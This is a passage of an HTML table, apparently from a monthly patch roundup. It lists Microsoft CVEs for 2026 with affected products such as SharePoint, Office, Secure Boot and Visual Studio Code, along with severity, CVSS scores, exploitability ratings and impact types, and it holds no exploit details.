  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
